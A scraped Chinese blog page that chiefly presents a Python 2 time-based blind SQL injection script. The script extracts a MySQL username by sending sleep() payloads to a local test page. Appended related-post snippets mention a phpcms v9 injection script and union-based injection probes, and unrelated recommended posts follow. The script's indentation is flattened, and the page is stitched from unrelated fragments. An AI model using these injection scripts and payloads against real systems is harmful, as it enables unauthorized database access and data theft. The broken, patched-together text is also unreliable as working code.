SQL注入脚本(基于时间)
#encoding=utf-8
import httplib
import time
import string
import sys
import urllib
header = {'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Charset':'GB2312,utf-8;q=0.7,*;q=0.7',
'Accept-Language':'zh-cn,zh;q=0.5',
'Cache-Control':'max-age=0',
'Connection':'keep-alive',
'Keep-Alive':'',
'User-Agent':'Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.14) Gecko/20110221 Ubuntu/10.10 (maverick) Firefox/3.6.14'} payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1, 21):
for payload in payloads:
try: s = "ascii(mid(lower(user()),%s,1))=%s" % (i, ord(payload))
s = " and (if(%s,sleep(3),0))#" % s
conn = httplib.HTTPConnection('127.0.0.1', timeout=3)
conn.request(method='GET', url="/sql.php?cmd=1%s" % urllib.quote(s),headers=header) conn.getresponse()
conn.close()
# print '.',
except Exception,e:
# print e
user += payload
print '\n[surprise]:', user,
time.sleep(3.0)
break
print '\n[Done] MySQL user is %s' % user
SQL注入脚本(基于时间)的更多相关文章
- phpcms v9 sql注入脚本
phpcms v9 SQL注入脚本 用法:python phpcms.py http://www.baidu.com import requests,sys,urllib url = sys.argv ...
- python 打造一个sql注入脚本 (一)
0x00前言: 昨天刚刚看完小迪老师的sql注入篇的第一章 所以有了新的笔记. 0x01笔记: sql注入原理: 网站数据传输中,接受变量传递的值未进行过滤,导致直接带入数据库查询执行的操作. sql ...
- 常规SQL注入脚本
一:union报错注入 猜字段长度:order by 28 先显示位http://127.0.0.1/sql.php?cmd=-1 UNION SELECT 1,2,3,4,5,6,7,8,9 当前数 ...
- 手动方式SQL注入脚本命令之精华版
.判断是否有注入;and = ;and = .初步判断是否是mssql ;and user> .注入参数是字符and [查询条件] and = .搜索时没过滤参数的and [查询条件] and ...
- 禁用substr、substring、mid函数的sql注入脚本
#encodeing=utf-8 import requests import sys reload(sys) sys.setdefaultencoding('utf-8') payloads = l ...
- DFX 安全测试-- 告诉你什么是XSS、sql注入?POST和GET的区别....
1.用户权限测试 (1) 用户权限控制 1) 用户权限控制主要是对一些有权限控制的功能进行验证 2) 用户A才能进行的操作,B是否能够进行操作(可通过窜session,将在下面介绍) 3)只能有A条件 ...
- SQL注入基础入门
一般的WEB架构 SQL注入成因: 用户开启浏览器并连接http://www.xxx.com.位于逻辑层的Web服务器从文件系统中加载脚本将其传递给脚本引擎,脚本引擎负责解析并执行脚本. 脚本使用数据 ...
- 自动化SQL注入工具 sqlmap 使用手册
0x00 sqlmap介绍 什么是sqlmap? sqlmap是一个开源的渗透测试工具,它自动化了检测和利用SQL注入缺陷 以及接管数据库服务器的过程.它配备了一个强大的检测引擎 ,以及终极渗透测试仪 ...
- SQL注入的分类
基于从服务器接收到的响应 基于错误的SQL注入 联合查询的类型 堆查询注射 SQL盲注 基于布尔SQL盲注 基于时间的SQL盲注 基于 ...
随机推荐
- C# 调用导致堆栈不对称。原因可能是托管的 PInvoke 签名与非托管的目标签名不匹配
在dllimport中加入CallingConvention参数就行了,[DllImport(PCAP_DLL, CharSet = CharSet.Auto, CallingConvention = ...
- 转:Spring中@Autowired注解、@Resource注解的区别
Pay attention: When using these annotations, the object itself has to be created by Spring context. ...
- 程序员是怎么炼成的---OC题集--练习答案与题目(3)
1.init 2.initWithBytes:length:encoding: 3.initWithCharacters:length: 4.initWithCString:encoding: 5.i ...
- CODEVS1380 没有上司的舞会 (树形DP)
f[i,0] 表示 第i个人不参加舞会 f[i,1] 表示 第i个人参加舞会 f[i,1]=sigma(f[j,0])+v[i] j 为 i 的孩子 f[i,1]=sigma(max(f[j,0] ...
- HDU 1848
http://acm.hdu.edu.cn/showproblem.php?pid=1848 利用计算grundy数组,把一类博弈转化为nim博弈,最后x不为0为先手必胜态 #include < ...
- 分布式系统之CAP理论杂记[转]
分布式系统之CAP理论杂记 http://www.cnblogs.com/highriver/archive/2011/09/15/2176833.html 分布式系统的CAP理论: 理论首先把分布式 ...
- I.MX6 console 跳过 login
/*************************************************************************** * I.MX6 console 跳过 logi ...
- 【题解】【DP】【Leetcode】Climbing Stairs
You are climbing a stair case. It takes n steps to reach to the top. Each time you can either climb ...
- win live
ok, this is my first live blog; just for test. r U ok fmkf vdsvsvv svsvsvsv try{ }
- 在Python中,令values=[0,1,2];values[1]=values,为何结果是[0,[...],2]?
转载自:http://www.zhihu.com/question/21000872/answer/16856382>>> values = [0, 1, 2] >>&g ...